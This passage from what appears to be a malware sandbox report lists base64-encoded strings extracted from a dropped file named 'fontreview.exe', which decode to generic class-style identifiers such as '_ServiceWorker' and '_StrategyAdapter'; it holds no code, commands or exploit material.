File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9zaXRvcnlUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcXVlc3RNYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcXVlc3RNZXJjaGFudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcXVlc3RQYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcXVlc3RQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcXVlc3RQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcXVlc3RSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcXVlc3RSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcXVlc3RTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcXVlc3RUYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcXVlc3RUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Jlc29sdmVyQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Jlc29sdmVyQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Jlc29sdmVyQ29uZmln","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Jlc29sdmVyRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Jlc29sdmVyR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Jlc29sdmVySXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Jlc29sdmVyUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Jlc29sdmVyUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Jlc29sdmVyUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Jlc29sdmVyUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Jlc29sdmVyU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Jlc29sdmVyU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Jlc29sdmVyU3R1Yg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Jlc29sdmVyVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Jlc29sdmVyVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JvbGVBZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JvbGVBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JvbGVDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JvbGVDb25maWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JvbGVEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JvbGVGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JvbGVQYXJhbWV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JvbGVQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JvbGVSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JvbGVTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVDb25maWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVQYXJhbWV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVzQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVzRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVzSXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVzTWVyY2hhbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVzUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVzUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVzUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVzUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVzVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NjaGVtYUFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NjaGVtYUJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NjaGVtYUNvbmZpZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NjaGVtYURlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NjaGVtYUZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NjaGVtYUZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NjaGVtYU1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NjaGVtYVBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NjaGVtYVByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NjaGVtYVNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NjaGVtYVRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcmlhbGl6ZXJBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcmlhbGl6ZXJCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcmlhbGl6ZXJDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcmlhbGl6ZXJFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcmlhbGl6ZXJHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcmlhbGl6ZXJQYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcmlhbGl6ZXJQYXJhbWV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcmlhbGl6ZXJQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZlckNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZlckZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZlckdsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZlcklzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZlclBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZlclByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZlclJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZlclNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZlclRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VUYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NldHRlckZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NldHRlckZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NldHRlck1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NldHRlclBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NldHRlclJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NldHRlclNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NldHRlclRhZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NldHRlclRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NldHRlclRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NpbmdsZXRvbkFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NpbmdsZXRvbkNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NpbmdsZXRvbkdsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NpbmdsZXRvbk1hcA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NpbmdsZXRvblBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NpbmdsZXRvblJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NpbmdsZXRvblNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NwZWNpZmljYXRpb25BZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NwZWNpZmljYXRpb25BbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NwZWNpZmljYXRpb25CYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NwZWNpZmljYXRpb25Db25maWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NwZWNpZmljYXRpb25GaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NwZWNpZmljYXRpb25NYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NwZWNpZmljYXRpb25NYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NwZWNpZmljYXRpb25SZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NwZWNpZmljYXRpb25TcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NwZWNpZmljYXRpb25UZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NwZWNpZmljYXRpb25UaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0YXRlQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0YXRlRGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0YXRlTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0YXRlTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0YXRlUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0YXRlUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0YXRlU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0YXRlVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0YXRlVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0YXRlVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0YXR1c0l0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0YXR1c01hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0YXR1c1Byb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0YXR1c1N0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cmF0ZWd5QWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cmF0ZWd5QmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cmF0ZWd5RmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cmF0ZWd5RmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cmF0ZWd5SXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cmF0ZWd5UGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cmF0ZWd5UG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cmF0ZWd5UmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cmF0ZWd5U3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cmF0ZWd5VG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cnVjdEFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cnVjdEFsZ28=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cnVjdEJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cnVjdEl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cnVjdE1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cnVjdFBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cnVjdFBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cnVjdFByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cnVjdFJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0cnVjdFNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0dWJBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0dWJCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0dWJDb25maWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0dWJGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0dWJNYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0dWJNZXJjaGFudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0dWJQYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0dWJSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0dWJSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0dWJSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0dWJTY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0dWJUYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0dWJUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N0dWJXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N5c3RlbUNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N5c3RlbUVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N5c3RlbUdsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N5c3RlbVByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N5c3RlbVN0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N5c3RlbVRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N5c3RlbVRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N5c3RlbVdvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RhZ0NsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RhZ0dsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RhZ1BhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RhZ1BvbGljeQ==","type":"Ansi","source":"Dropped 